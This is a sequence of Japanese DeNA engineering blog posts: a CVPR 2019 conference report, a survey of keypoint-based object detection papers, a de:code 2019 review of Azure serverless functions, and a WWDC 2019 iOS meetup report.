CVPR 2019参加レポート

はじめに

皆さんこんにちは。DeNA AIシステム部の李天琦(leetenki)です。 DeNAのAIシステム部では、物体検出、姿勢推定、アニメ生成等、様々なComputer Vision技術の研究開発に取り組んでいます。また、AIシステム部では世界の最新技術トレンドにキャッチアップするために、年一回国際会議に自由に参加できる機会が設けられています。 今回は、アメリカ ロングビーチで開かれたComputer Visionに関する世界トップの国際会議の一つである「CVPR 2019」に、AIシステム部コンピュータビジョンチームのメンバー7名 (加藤直樹、葛岡宏祐、洪嘉源、鈴木智之、中村遵介、林俊宏、李天琦)で参加してきましたので、その内容について紹介したいと思います。また、今回は聴講としてだけでなく、DeNAからコンペ入賞も一件あり、DSチームの加納龍一と矢野正基の2人が発表してきたので、その様子についても紹介したいと思います。

なお、今回のレポートは加納龍一、洪嘉源、林俊宏、矢野正基、李天琦の5名で協力し執筆しています。

CVPR2019とは

CVPRの正式名称は「Computer Vision and Pattern Recognition」で、ECCV、ICCVと並ぶComputer Vision分野における世界三大国際会議の一つです。ちなみにComputer Visionというのは人間の視覚をコンピュータを用いて表現することを目指した技術分野で、画像や映像認識技術全般を指しています。そのComputer Visionの分野において世界三大国際会議の一つがこのCVPRです。そして近年ではDeep Learningを始めとするAI技術の飛躍的な進歩により、あらゆるComputer Vision分野でDeep Learningを使うことが当たり前になってきているので、CVPRでもDeep Learningの手法を応用した論文が大半を占めるようになりました。

cvpr2019_schedule.png

今年の開催期間は6/16〜6/20の5日間です。最初の2日は特定のテーマに絞ったTutorial & Workshopで、後半の3日間がMain Conferenceです。また、Main Conferenceの3日間では、Expoと呼ばれるスポンサー企業の展示会も並行して行われ、世界をリードするIT企業の最新の研究成果や製品などが展示されました。

開催場所

今年の開催場所はアメリカカリフォルニア州のロングビーチで、Long Beach Convention & Entertainment Centerという、北アメリカ最大級のイベント施設を貸し切って会議が開かれました。会場の立地も良く、ロングビーチの海が一望できる最高のリゾート地でした。

longbeach_conference_center.jpg

[ 会場のLong Beach Convention & Entertainment Center ]

参加統計

近年AI技術への注目の高まりを受けて、CVPR参加者は年々増加し、今年は参加者も採録論文数も過去最高となりました。統計によれば、今年の投稿論文数は5160本で、採録論文数は1294本でした。そして今回のCVPR参加人数は9227人と、CVPR 2018の時と比べて1.5倍以上にものぼっています。ここ数年の増加率があまりにも高すぎて、「このまま増え続ければ2028年には投稿論文数100億本になる」と主催者も冗談交じりに話していました。

CVPR2019参加者統計.png

[ 参加者の統計 ]

参加者の国別統計.png

[ 参加者の国別統計 ]

CVPR2019投稿論文数の統計.png

[ 投稿論文数の統計 ]

セッションの様子

CVPRに採録された論文のうち、評価の高かったものはOralと呼ばれる口頭発表形式のセッションで発表されます。例年であれば、論文の内容に応じて発表時間が長いLong Oralと短いShort Oralに更に分割されますが、今年は論文数があまりにも増えすぎたために全て発表時間5分のShort Oralとなりました。また、Oralを含めた全採録論文はPosterセッションで展示され、そこでは著者と直接ディスカッションを行うことができます。

CVPR2019_Oralセッション会場.jpg

[ Oralセッションの様子 ]

ネットワーキングイベント

Main Conference期間中、初日の夜に立食形式の「Welcome Dinner」と、2日目の夜に「Reception Party」という2つの公式ネットワーキングイベントが開催されました。Reception Partyでは、会場付近のEntertainment Centerを貸し切ってのお祭りが行われ、世界各国の研究者達と親睦を深めることができました。

CVPR2019_Reception_Partyの様子.jpg

[ Reception Partyの様子 ]

キーワード分析

今年採録された論文のタイトルから、頻出キーワードを抽出してみたところ、以下の結果となりました。特に3Dや、Detection、Attentionなどを取り扱った論文が多いことがここから読み取れます。 頻出キーワード統計.png

[ 頻出キーワード統計 ]

これ以外にも、現地で実際によく目についたキーワードとして、unsupervised、 self-supervised、 weakly-supervised、few-shot、zero-shot、NAS(Neural Architecture Search) 、adversarial examples等が多い印象でした。 実際にCVPR2013〜CVPR2019の7年間で、各年の採録論文数全体に対するキーワードを含む論文数の比率をグラフ化してみました。確かに○○supervisedや○○shotといった、データやアノテーションが限定された問題設定の論文が全体的に増加傾向にあることがここから見てわかります。

キーワードの推移1.png

[ キーワードの推移1 ]

同様に、ネットワーク構造を自動で探索するArchitecture search系の論文や、なんらかのモデルを騙すための攻撃 & 防御を扱ったadversarial examples等の論文も増加傾向にあることがわかります。その他にもいくつか増加傾向にあるキーワードを下図に示します。

キーワードの推移2.png

[ キーワードの推移2 ]

受賞論文

今回CVPR2019で発表された論文の中で、受賞されたものをいくつか紹介します。

A Theory of Fermat Paths for Non-Line-of-Sight Shape Reconstruction

まず、CVPR2019 Best Paperに選ばれたのが、こちらの"A Theory of Fermat Paths for Non-Line-of-Sight Shape Reconstruction" (Shumian Xin et al.) です。

NLOS物体復元.png

[ NLOS物体復元 ]

Non-Line-of-Sight(NLOS)物体というのは、カメラなどの視界に直接映らない(撮影できない)物体のことを指します。それらのNLOS物体に対して、周辺環境での反射などを利用して画像化や形状復元する技術をここでは扱います。例えば、曲がり角の向こうにある物体を見ることや、厚い分散媒質を通して物体を透視することなどがこれに当てはまります。NLOS技術は、自動運転、遠隔センシングや医用画像処理など様々なシーンで応用することができるため、コンピュータビジョン領域でも徐々に注目を集めています。今回のCVPR2019では、NLOS に関する論文はBest Paperを含めて6本も採録されています(Oral: 3, Poster: 3)。

提案手法概要図.png

[ 提案手法概要図 ]

この論文ではNLOS物体を測定するために、高速変調光源と時間分解センサー(time-resolved sensors)を使用しています。時間分解センサーは光子の数とカメラに到達する時間を測定することができ、トランジェントカメラ(transient camera)と呼ばれます。NLOS物体からの光子を直接トランジェントカメラで観測することはできませんが、付近の可視表面で反射した光子を受信することで、その不可視の物体を探知することが可能になります。この論文では、可視表面とNLOS物体の間の光のフェルマーパス(Fermat paths of light)に関する理論を提唱しています。著者のXinらは、フェルマーパスがトランジェント測定値の不連続点と対応することを証明しました。さらに、これらの不連続点が対応するフェルマーパスの長さの空間微分とNLOS物体表面の法線と関連する制約条件を導き出しています。これに基づいて、視線範囲外の物体の形を推測するアルゴリズムFermat Flowを提案し、初めて幾何的な制約条件だけを利用して精確にNLOS物体の3D表面を復元することに成功しています。

Learning the Depths of Moving People by Watching Frozen People

次はHonorable Mentionを受賞した2本の論文のうちの1つである"Learning the Depths of Moving People by Watching Frozen People" (Li, et al.) を紹介します。

提案手法の概要図2.png

[ 提案手法概要図 ]

こちらの論文ではRGB入力からの人の深度推定を扱っています。Kinectのようなデバイスは屋外では使えないということもあり、これまで様々な姿勢・シーン・年齢などをカバーした大規模データセットはありませんでした。この論文では、2016年後半からYouTubeで一大ブームになったマネキンチャレンジの動画に着目して、それら約2,000本の動画から大規模データセットを構築し、それを使ってモデルを学習しています。ちなみに、マネキンチャレンジというのは人が様々なポーズをした状態でマネキンのように静止し、そこをカメラが移動しながら撮影するというものです。マネキンチャレンジの動画では人を静止物として扱えるため、SfM (Structure from Motion), 及び MVS (Multi-View Stereo) の技術により人の深度を推定でき、それを教師としたデータセットを構築できます。最終的に学習されたモデルの性能も素晴らしいですが、それ以上にマネキンチャレンジ動画に目をつけてデータセットを作るというアイディアが光っており、とても興味深い論文です。

A Style-Based Generator Architecture for Generative Adversarial Networks

最後は、Honorable Mentionを受賞した2本の論文のうちのもう1つである "A Style-Based Generator Architecture for Generative Adversarial Networks" (Tero Karras, et al.) を紹介します。

StyleGANの概要図.png

[ StyleGANの概要図 ]

こちらの論文は1024×1024の高解像度な画像生成を扱ったものです。Style-Transfer等でよく使われるAdaINのアイデアを取り入れることで、より制御しやすく、狙った生成を可能にしています。本論文の著者であるTero Karrasさんは、先行研究として以前にICLR2018でPGGAN (Progressive Growing of GANs) を発表しています。そちらの論文では、GANの生成学習において、段階的にネットワーク層を増加させ、生成画像の解像度を徐々に上げていくことで、安定的に高解像度な生成を実現しています。本論文はその基礎の上で、更にGenerator部分に工夫を施し、潜在表現ベクトルzをGeneratorの最初ではなく、Mapping Networkを通じてAdaINのパラメータとしてネットワークの途中途中に埋め込んでいます。 解像度ごとに異なる潜在ベクトルzを埋め込むことで、coarse(姿勢、顔の形)、middle(髪型、目)、fine(髪質、肌色)といった、異なるレベルのstyleを分離して制御できるようになっています。また、上記AdaINとは別に、ランダムノイズを各特徴マップに足し合わせることで、生成画像の確率的な要素(髪の流れ方や肌のシワ等)の操作を可能にしています。

StyleGANの生成例.png

[ StyleGANの生成例 ]

このような高解像度な画像生成を、教師なし学習で、かつStyleを制御可能にできたことが本論文の最大のContributionです。

DeNAのPoster発表

今回、Tutorial & Workshopと並行して開催された、「iMet Collection 2019」という美術品の画像識別コンペにて、DeNAのDSチームから加納龍一と矢野正基の2人が参加し、金メダルを獲得することができたので、Poster発表を行いました。

iMet_Collection_2019のPoster発表の様子.jpg

[ iMet Collection 2019のPoster発表の様子 ]

こちらのコンペでは、ニューヨークのMetropolitan美術館でデジタル化されている約20万枚の美術品の画像を用いて、作品の内容や文化的背景などの観点からつけられたタグ付けを予測する多クラス分類問題の精度が競われます。今回金メダルを受賞したDeNAの加納龍一と矢野正基のチームでは、Pseudo labelingやBlendingといった従来のコンペで実績を残している手法に加え、CVPR2019に採録されたAttention Branch Networkという新しい技術を導入していくことで、金メダルを獲得することができました。

全体の感想

今回、DeNA AIシステム部から7名でCVPR2019に参加し、各自のスペシャリティを活かした効率的な情報収集を行いました。今回発表されたOralプレゼンテーションは全て、こちらのYouTubeチャンネルでも公開されていますが、実際に現地に行くことで論文の気になる点を作者に直に聞けたり、ネットワーキングもできる等のメリットがあります。自分は今年で3度目となるCVPR参加ですが、技術的な収穫はもちろん、ネットワークも広がって凄く良い刺激になりました。

また、今回のEngineer Blogとは別に、現地に参加したメンバーで、注目度の高い論文や有益性の高いと判断した論文30本を厳選し、解説資料 (Slide Share) にまとめて公開しましたので、興味ある方はそちらも合わせてお読みください。

DeNA CVチームでは引き続き調査を継続し、最新のコンピュータビジョン技術を価値あるサービスに繋げていきます。

参考文献

ツイート
シェア
あとで読む
ブックマーク
送る
メールで送る

コンピュータビジョンの最新論文調査 キーポイントによる物体検出編

はじめに

こんにちは、AIシステム部でコンピュータビジョンの研究開発をしております本多です。 我々のチームでは、常に最新のコンピュータビジョンに関する論文調査を行い、部内で共有・議論しています。今回我々が読んだ最新の論文をこのブログで紹介したいと思います。

今回論文調査を行なったメンバーは、林 俊宏、本多 浩大です。

論文調査のスコープ

2018年11月以降にarXivに投稿されたコンピュータビジョンに関する論文を範囲としており、その中から重要と思われるものをピックアップして複数名で調査を行っております。今回はキーポイント検出の手法を用いた物体検出に焦点を当て、最新論文を取り上げます。

Short Summary

  • CornerNet (ECCV18) の改良版と言える、キーポイント検出ベースの物体検出手法が続々と提案されている。
  • いずれも検出ターゲット矩形の端や中央を、ヒートマップを用いて検出する手法である
  • Single-shot型 (bottom-up) とTwo-stage型 (top-down) に分かれる
  • いずれもCornerNetと同等ないし高い精度を示している
  • Object as Points (CenterNet) の精度と速度のトレードオフ性能 (speed-accuracy trade-off) の高さが目立つものの、他手法とフェアな比較はできていない

図1は本稿で取り上げる各手法の検出点比較である。
fig1.png

図1: 各手法の検出点比較。(a) Faster R-CNNやYOLOなどアンカーを基準にboxを学習する手法 (b) CornerNet (c) Objects as Points (CenterNet) (d) CenterNet: Keypoint Triplets for Object Detection (e) Bottom-up Object Detection by Grouping Extreme and Center Points (f) Grid R-CNN

前提知識

物体検出

画像から物体の位置を矩形 (bounding box) として検出し、かつそれぞれの物体の種類(クラス)を分類するタスクです。

  • Faster R-CNN: 画像から特徴マップを抽出し、Region Proposal Networkで物体の存在する領域を検出、それぞれクロップしてHead Networkにて詳細な位置推定とクラス分類をおこなう。物体検出のデファクトスタンダード。
  • Feature Pyramid Network (FPN) : Faster R-CNNにおいて、複数のスケールでRegion ProposalおよびHead Networkの実行を行うことで、高精度に小さな物体を検出する。
  • RetinaNet : FPNにおけるRegion Proposal Network部において、bounding boxの位置検出とクラス分類を完結することで高速化をはかっている。Single-shot検出器と呼ばれ、YOLOと同種の検出器にあたる。

キーポイント検出を用いた物体検出

 今回、キーポイント検出の手法を物体検出に用いている論文を取り上げます。これら論文の源流となるのはECCV2018で発表されたCornerNetです。

  • CornerNet : bounding boxの座標を回帰によって学習するのではなく、左上と右下隅をキーポイントと見立てたヒートマップを学習する。人物姿勢認識におけるキーポイント検出にヒントを得ている。推定されたキーポイントは、embedding vectorの照合によりグルーピングする。
  • Hourglass Network : ResNetなどのネットワークでスケールダウンしながら特徴抽出したのちに、アップサンプリング層によってスケールアップする、砂時計型のネットワーク。

関連するデータセット

MS-COCO 物体検出・セグメンテーション・人物姿勢等のラベルを含むデータセットで、recognition系のタスクではデファクトスタンダード。

参考:弊社エンジニアによるサマリー。本稿で取り上げる論文も紹介されている。
最近の物体検出
CVPR 2019 report

性能比較

今回紹介する4論文と、ベースラインとなるCornerNet及びRetinaNetとの性能比較を表1に示す。全ての論文をフェアに比較することは困難であるが、いずれも単一スケールでのテストに揃えて比較した。特に性能にインパクトがあると思われる実験条件をbackbone、他条件に記載した。

keypoint-table1.png 表1: COCO test-devによる各手法の性能比較。

論文紹介

Objects As Points

要約

bounding box中心のみをヒートマップで予測、大きさ・オフセット・クラスは各位置で回帰、速度と精度の良いトレードオフを実現する。

提案手法

クラスごとにbounding box中心をヒートマップとして学習する。Backboneは高速側から、ResNet18+upsampling, DLA34 [2], ResNet101, Hourglass104を用いている。upsamplingレイヤとしてbilinear inetrpolationとconvolutionを用いている。single-scale の高解像度特徴マップをヒートマップ出力に使う。

各グリッドではクラスごとの確率に加え, bounding boxサイズ及びグリッドからのオフセットを回帰学習する(図A1)。推論時は、各グリッドの近傍8グリッドと比較して最大または等しいconfidence値となる100のグリッドをピックアップする 。ピックアップされた複数のアンカーを用いるYOLOv3と異なり、アンカーが存在せず、bounding boxサイズを直接、クラス毎に出力する。

Lossの定義は

  • ヒートマップ:CornerNet と同様、 focal loss の亜種を用いる。
  • 中心のオフセット:L1 loss
  • bounding boxサイズ:L1 loss

bounding boxのサイズ・オフセット推定チャンネルをタスクに応じて変更することで、3D bounding boxの推定や人姿勢推定にも適用できる(図A2)。

その他 Non-Maximum Suppression (NMS) を行っても精度が大きく変化しなかったため不使用。 ResNetとDLAでは、deformable convolutionレイヤをupsampling部に用いている。deformableレイヤはAP向上に寄与していると思われるが、本論文ではablation studyは行われていない。

結果

backbone 等の変更により精度-速度(レイテンシ)のトレードオフを測定、YOLOv3などの従来手法よりもトレードオフが改善した(図A3)。COCO test-devの評価では、高精度側でもCOCO AP=42.1 (single scale test) を示した(表A1)。

keypoint-d1.png 図A1:CenterNet手法の紹介。centerキーポイントの特徴としてbounding boxのサイズなどを学習させる([1]より引用)

keypoint-d1.png 図A2:CenterNetの様々なタスクへの応用。上段:物体検出 中段:3D物体検出 下段:キーポイント検出([1]より引用)

keypoint-d1.png 図A3:backboneネットワークやテスト条件を変化させたときの、推論時間とCOCO val APのトレードオフ。([1]より引用)

keypoint-d1.png 表A1:COCO test-devによるstate-of-the-art検出器との比較評価結果。上がtwo-stage、下がone-stage検出器。APが二種類記載されているものは、single-scale / multi-scale test を表す。([1]より引用)

リンク

[1] https://arxiv.org/abs/1904.07850
[2] DLAネットワーク:Deep Layer Aggregation

CenterNet: Keypoint Triplets for Object Detection

要約

CornerNet の改良版であり、コーナーだけでなく中心も予測することで正確性を向上する。

提案手法

CornerNetによって検出されたbounding boxには誤検出が多く、正解との重なり (IoU) が5%の条件においても32.7% がFalse Detectionとなっていた。一方2-stage detectorのようにROI poolingを用いると計算量が大きくなる。本論文では、図B1のように、CornerとCenterを照合することにより検出の正確性を向上する。また、CornerとCenterの3点のembedding情報のみをpoolingするため、ROI poolingのように計算量が大きくならない。

cascade corner pooling CornerNetで提案されているcorner pooling を、 bbox の端だけでなく内部も見るように cascade poolingとして改良する(図B2)。得られたembedding情報はcornerのグルーピング、およびオフセット推定に用いる。

center pooling CornerNetに対し、boxの中心を予測するheadネットワークを追加、corner pooling同様のcenter poolingによってembedding情報を得る(図B2)。このembedding情報は、cornerと異なりグルーピングには使用せず、中央点のオフセット推定にのみ用いる。

Loss lossは以下のように定義される。CornerNetにて提案されているlossに対し、中央点の項が追加されている。 eq_b1.png

Inference時 Cornerのペアから予想される領域にCenterがあるかどうかでTripletを組み合わせる。

結果

CornerNet と同条件 (Hourglass101, single scale) で比較すると、COCO APが40.5 -> 44.9と大きく改善している(表B1)。 keypoint-d1.png 図B1 : CenterNetの全体構成図。上段がCornerブランチ、下段がCenterブランチ、最終的に統合する。([3]より引用)

keypoint-d1.png 図B2 : Center Pooling(左)、Corner Pooling(中央)、およびCascaded Corner Pooling(右)([3]より引用)

keypoint-d1.png 表B1 : COCO test-devによるベンチマーク結果。CenterNet511はsingle-scale testにおいて COCO AP = 44.9となっている([3]より引用)

リンク
[3] https://arxiv.org/abs/1904.08189

Bottom-up Object Detection by Grouping Extreme and Center Points

要約

画像中の複数オブジェクトの上下左右の端点及び中央をヒートマップで求め、上下左右点と中央点を照合することでボトムアップでboxをグルーピングする。

提案手法

  • Ground truthとして、bounding boxだけではなくinstance segmentation labelを用いる。boxとsegmentationマスクから、上下左右の端点と中央の正解座標を求める。
  • Hourglassネットワークで画像全体から上下左右点・中央点のヒートマップを学習する(図C1)。
  • 推論時には、上下左右点の組み合わせごとに、該当する中央点があるかどうかを照合し、スコアが高い場合にグルーピングする(図C2)。
  • 端点と中央点を照合するという発想は、上述のCenterNet: Keypoint Triplets for Object Detectionと類似している。

結果

COCO test-devの結果、single scale同士だとCornerNetと同等のAP=40.2であり、multi-scaleではCornerNetを上回るAP=43.7となった(表C1)。 推論時に、端点を利用した多角形表示をすることも可能である(図C3)。

keypoint-d1.png 図C1: 推定フレームワーク。([4]より引用)

keypoint-d1.png 図C2: 推定された上下左右・中央のヒートマップから、bounding boxを決定するまでの流れ。([4]より引用)

keypoint-d1.png 表C1: COCO test-devでの結果。SS=single scale test, MS=multi-scale test。SS同士ではCornerNetと同等のAPとなっている。([4]より引用)

keypoint-d1.png

図C3: 推論結果。([4]より引用)

リンク
[4] https://arxiv.org/abs/1901.08043

Grid R-CNN

要約

2ステージ物体検出において、box座標をRegressionするかわりに、Boxのグリッド点をヒートマップで学習する。

提案手法

図D1のように、入力画像に対してbackboneネットワークで特徴抽出、Region Proposal NetworkおよびROIAlignでROIクロップをおこなう。ここまではMask R-CNNと同じである。

grid prediction branch:クロップしたfeature map (14 × 14) に対し、8層のdilated convolution層、および2層のdeconvolution層を経て、56 x 56 x (N x N) のfeature mapを得る。N x N はグリッドの点数であり、標準は3 x 3である。Ground Truthは正解グリッド点を中心とする+型の5画素がpositiveとされており、推定されたヒートマップとのBinary Cross Entropy Lossにより学習される。
アップデート版として公開されたGrid R-CNN plus [6]では、56 x 56のうち、実際にグリッド点が存在する28 x 28のみに限定して用い、またdeconvolutionをdepth-wiseとすることで高速化をはかっている。

feature fusion module(図D2):隣接するgrid点には空間的相関がある。feature fusion moduleでは隣のgrid点を用いてgrid featureを修正する。Fiを注目するgrid点のfeatureとすると、近隣のFjに対しいくつかの5x5 convolution層を通し、Tj->i(Fj)を作る。Fiとそれらの和を最終的なgrid featureとする。
推定時は、得られた各グリッドヒートマップにおいて、最大値をとる座標がピックアップされて元画像にマッピングされる。

結果

ResNeXt-101 Feature Pyramid Networkを用いた場合、COCO test-dev APが43.2となった(表D1)。 Faster R-CNNと同条件で比較すると、特に高IoUのAP (IoU=0.8 and IoU=0.9)において10%程度の改善となった。

keypoint-d1.png 図D1 Grid R-CNNのパイプライン。([5]より引用)

keypoint-d1.png 図D2 Feature Fusion Moduleの説明図。([5]より引用)

keypoint-d1.png 表D1: COCO test-dev評価結果。([5]より引用)

リンク
[5] https://arxiv.org/abs/1811.12030
[6] Grid R-CNN plus: https://arxiv.org/abs/1906.05688

おわりに

今回はキーポイント検出の手法を用いた物体検出の最新論文をご紹介しました。ECCV2018で提案されたCornetNetを皮切りに、キーポイントベースの物体検出が洗練されてきました。「物体をboxで検出する」というタスクの本質に迫っており、興味深いアプローチです。DeNA CVチームでは引き続き調査を継続し、最新のコンピュータビジョン技術を価値あるサービスに繋げていきます。

ツイート
シェア
あとで読む
ブックマーク
送る
メールで送る

de:code 2019 CD07 AWS 技術者向け Azure サーバレス

はじめに

am 8:45 の時点で行列になっていると聞いて出遅れたことを悟り、家からのライブストリーミング配信から始まった de:code 2019。

もったいないかもしれないですが、AWS re:invent や Google Cloud Next などでも基調講演は基本的にリモートから見るようにしています。(字幕、腰、トイレ的な観点で)

ということで、Microsoft de:code 2019 に初めて参加してきました。システム本部技術開発室の放地宏佳です。

自分は普段、社内でクラウドアーキテクトをしており、GCP 及び AWS を活用したアーキテクチャを考えています。

今回、普段クラウドを触っている人間として、「CD07 AWS 技術者向け Azure サーバーレス」を聞いて、他社クラウドを触っている人がどのようなことを感じ取ったかについてお話できればと思います。

免責事項となりますが、僕自身は Azure を普段触っておらず、また、セッション情報以上に各サービスの詳細には調べておりませんので、事実とは異なることがあることご了承ください。

資料の公開があるとのことでしたが、残念ながらサインインした状態でしか資料を見れないようです(6/14時点)

decode:2019 のマイページより「セッション資料及び動画の閲覧」から 「CD07」 を検索することで資料を見ることが可能です。

セッションについて

こちらの「CD07 AWS 技術者向け Azure サーバーレス」のセッションについては、主に Azure Functions を中心に、その周辺を取り巻くサービスについての説明がありました。

スライドにも記載されていますが、主に AWS Lambda からの差分・注意点・学習ポイントについて説明されているものです。

アーキテクチャを選定するにあたって必要な情報がまとまっており、また、開発者に寄り添った内容で、Azure Functions の便利機能を説明されており、技術選定をする人は是非確認するべき内容だと感じました。

以降 PDF のページにそってお話させていただきます。

p5-p10 「サーバレスアーキテクチャ」

サーバレスを用いて構築するアプリケーションについてのまとめをされています。

AWS Lambda と Azure Functions の利用用途が一緒であることを述べて、同じレイヤーで話せることを一番始めに定義されています。

このように俯瞰的なまとめ、また具体的なサービス含めていることから、これ以降のスライドがとてもわかり易くなっています。

また、サーバレスを知らない人にとっても、サーバレスというものでどのようなことが実現できるかのイメージが付いたかと思います。

p13-p17 「トリガーとバインディング」

このトリガーとバインディングという機能。とても良いと感じました。

スライド前項の方でも述べられていましたが、サーバレスなサービスは糊的な感じで、何かと何かをつなげるということが多くあります。

Azure Functions ではこのつなぎ合わせ部分をトリガーとバインディングとして定義できることで、「何を元に、何を出力とするか」というのを明確にすることができるようです。

これは見た目として明確になるのもそうですが、今まで他のサーバレスなサービスを使っていた際に、次の出力を定義するためのコードがエラー処理などを含め、大多数をしめており、実際にやりたいこと以上に労力を割いてたと考えると、レイヤーを分けたこのような機能はとても有用だと感じます。

何を基準に起動するか(トリガー)だけではなく、その処理の中で追加でどういったものが必要なのか(インプットバインディング)その結果、どういったものにデータを書き込むのか(アウトプットバインディング)をきれいに記述できるのは大きなメリットです。

エラー処理については p29 にかかれているように現在サポートされているものは「Azure BLOB Storage」「Azure Queue Storage」「 Azure Service Bus (キュー/トピック)」の3種類となってるとのことですが、こういった機能がサポートされているのであれば、今後増えていくことも期待できますし、何より、リトライや有害キュー(失敗したら退避)などがデフォルトで定義されているとコードに集中できて良さそうです。

Custom Binding も作れるとのことなので(どこまでできるかわからないものの)、こういったよくある Input/Output を個別に切り出すことができるのは多くのメリットがあると感じました。

また、 p14 の例では、複数の Functions を扱うようなディレクトリ構成を取っています。

イベントドリブンな処理であれば、これらの必要度は低いのですが、ユーザからのリクエストを受けるような Web Application においては、それぞれが独立していることは少なく、同じリソースに対する処理であったり共通的な処理というのが書かれることが多数ですので、はじめからどのような構成にすればいいか悩むことなく、書き始めることができると感じました。

p18-p25 「ホスティングプラン」

Azure Functions には「従量課金プラン」と「App Serviceプラン(固定)」の両方が提供されているようです。

Functions を通常のインスタンスで起動できるというプランのようです。また、それらは互いに変更可能のように見えました。

例えば、途中から要件がかわって固定IPが必要になった。1 request に対して巨大な処理をしなければいけなくなった。

といった開発途中で起こりうる変更についても、フレキシブルに対応できるのはとても便利に見えます。

それも独立したサービスではなく Azure Functions の中のオプションとして設定できるので、とても気軽です。

もちろん最近は Container をそのままサーバレスで動かすということもできるようになってきていますが、じゃあそれをサーバレスからサーバがある環境に移すとなると、アプリ側やインフラ側で一定の対応が必要でした。

それがなく、起動プランとして選択できるのは多くのメリットを享受できるのではないでしょうか。

また、 Premium プラン というものも今後出てくる(現在はプレビュー)とのことで、こちらではよくあるコールドスタート問題の解決であったり、より詳細なスケーリングの制御ができるようです。

自分は Google App Engine のスケーリングが好きなのですが、 Premium プランはそれと同様な概念に見えましたので、とても期待が高まっています。

p43-p48 「Durable Functions」

Durable Functions は「ステートフル関数を実現する拡張機能」として説明をされました。

サンプルを見ただけでは、基本的にはプログラミングにおける関数を分けただけで、ちょっとメリットがわからなかったですが、

聞いているうちに、おそらくこういうことなのかなってことを思いました。

・別の Azure Functions へ処理を委譲することによるスケーラビリティ

・それらのエラー処理、フロー処理の簡略化 (内部状態の保持)

p47 のサンプルにも JavaScript の Promise の例が書かれていましたが、それを裏側のサーバリソースを気にすることなく(単一インスタンスではなく)書くことができるのが、 Duable Functions なのでは無いでしょうか。

Durable Functions での Orchestrator とはフローを記述するもの。そして、そのフローにおいて、余計なことを気にすることなく、バインディング同様にコードに集中できるソリューションだと。

クラウドサービスは「何でもできるようになっている」反面、色々なものを新しく学ばないといけないというのが難しいところですが、Durable Functions は Azure Functions + α の知識でフロー処理をかけるのでとても強力だと感じました。

p50 「Microsoft Learn」

最後に紹介されたのが Microsoft Learn でした。

アカウントで不要で無料でサンドボックス機能を提供してくれるものです。

すぐに作れるっていうのがクラウドの利点ではあるのですが、技術検証や本当に Azure 使うのかといったことを検証する際には、アカウントの作成などをしなければ行けないわけですが、 そういうのがなく、とりあえず触ってみるっていうのができるのはかなりの利点ではないでしょうか

まとめ

さて、普段 AWS / GCP しか使っていない自分が本セッションを聞いて色々想像してみました。

Azure Functions はその一つのサービスで色々なことができることから、アプリケーション開発者としてはかなり強力なサービスだと感じます。

すぐにでもアプリケーションを書き始めることができる。ロジックを書くのに集中する仕組みがある。そして要件変更にも対応する事ができる。このようにアプリケーション開発をする人に寄り添ったサービスなのではないでしょうか。

こういったイベントでは Ask The Speaker と呼ばれる直接発表者の方と話すことができる場も設けられているので、色々聞いてみて、色々質問してみて、色々考察してみると楽しいと思います。

ツイート
シェア
あとで読む
ブックマーク
送る
メールで送る

iOS de KANPAI ! 【WWDC 2019 報告会】を開催しました

48065744158_39e6bfc024_z.jpg 2019年6月3日〜7日に、アメリカのサンノゼにて、 Apple 社が主催する World Wide Developers Conference(WWDC)2019 が開催されました。DeNA からは 6名のエンジニアが WWDC 2019 に参加しました。この WWDC で得た学びをコミュニティに還元すべく、2019年6月14日に iOS de Kanpai! を開催しました!こちらの記事でその様子をご紹介します。

乾杯 & OverView

48065797282_9672e17263_k.jpg まずは @feb19 が乾杯してスタート。 OverView として、WWDC でどのようなことが発表されたか それぞれ概要を説明しました。

Xcode 新機能 + テスト周りの変更点

48065692236_de57530747_k.jpg 続いて、 DeNA SWET グループの @tobi462 が Xode 11の新機能と、テストまわりの改善点について話しました。

今回の WWDC19 では開発者が望んでいた機能が数多く発表されたように思えます。Xcode 11 ではエディタ周りの刷新やGitサポートの強化、デバッグまわりの新機能など、便利な機能が多数追加されました。

テストまわりでは「Test Plans」という名前で、テスト実行のコンフィギュレーションを構成できる仕組みが用意され、今までよりもずっと楽に様々な設定でのテストが実行できるようになりました。また、XCTest にも便利な API が追加されました。なお、今回は時間的に発表で触れることが出来ませんでしたが、テストの成果物を1つにまとめる「Result Bundle」という機能も追加されています。

テスト周りの変更点については、いずれ DeNA Testing Blog でも取り上げていこうと思いますので、楽しみにしていただければと思います。

ソーシャルライブサービスから見た WWDC 2019

48065689786_f74a934046_k.jpg 次に、ライブ配信アプリ Pococha の開発を行っている @noppefoxwolf が話しました。

ソーシャルライブサービスを開発している目線から、Metalの新機能とARKitの新機能についてお話ししました。 実運用ではまだまだOpenGLESを使っている箇所があるのですが、今回のシミュレータ周りのアップデートでMetal移行も現実的になってきたことが分かりました。

また、シミュレータでMetalが動く仕組みから、メモリ共有をシミュレータで再現するTIPを紹介したりしました。

後半はARKitやRealityKitの機能を紹介しました。これまで高価な機器やSDKを使わないと出来なかったことが、どんどん手の届く技術になってワクワクするようなアップデートでしたね。

Sign in with Apple

48065688506_f0fad356a8_k.jpg 続いて、 @monoqlo が、今回 WWDC 2019 で発表された新機能のである、 Sign in with Apple について、実際に組み込んで試してみた結果など交えつつ発表しました。

サードパーティー製ログインを採用しているアプリは Sign in with Apple は対応が必須になる見込みです。今年後半から目にする機会が増えてくることでしょう。

発表ではβ版を使用したデモやスクリーンショットを交え、概要にとどまらず、実際に触ってみて現時点で判明していること、まだよくわかっていないことなどをお伝えしました。

WWDC19 Design

48065789622_c3d237d2fe_k.jpg 10分の休憩を挟んだ後、DeNA デザイン本部サービスデザイン部デザインエンジニアリングG マネージャーの @feb19 が、WWDC のデザイン周りの内容をラップアップしてお話しました。

また、こちらに @feb19 のレポートブログが掲載されています。 - iOS Developer の視点 - WWDC19 で注目したい新しいテクノロジー - UI Designer の視点 - これからの iOS アプリの UI デザイン - Apple のヘルスケア関連新サービスと、WWDC の健康アクティビティ、アメリカのヘルスケア産業 - DevRel の視点 - 会場運営における UX/UI デザインの工夫、エンジニアがグッとくる Apple の魔法 - Frontend Engineer の視点 - Safari と WebKit の進化ほか

Machine Learning の新機能

48065735213_000d77f434_k.jpg @koooootake は、WWDC19で発表された Machine Learning の新機能まとめを発表しました。CreateMLのDEMOでは、カレーと、ハンバーガーと、どんぶりと、3Dモデルの女の子のスクリーンショットを精度高く、ドラック&ドロップで簡単に分類できることを披露しました。

このスライドを見ればWWDC19のML関連の話題がだいたい掴めるのでぜひご覧ください。

SwiftUI / Combine について

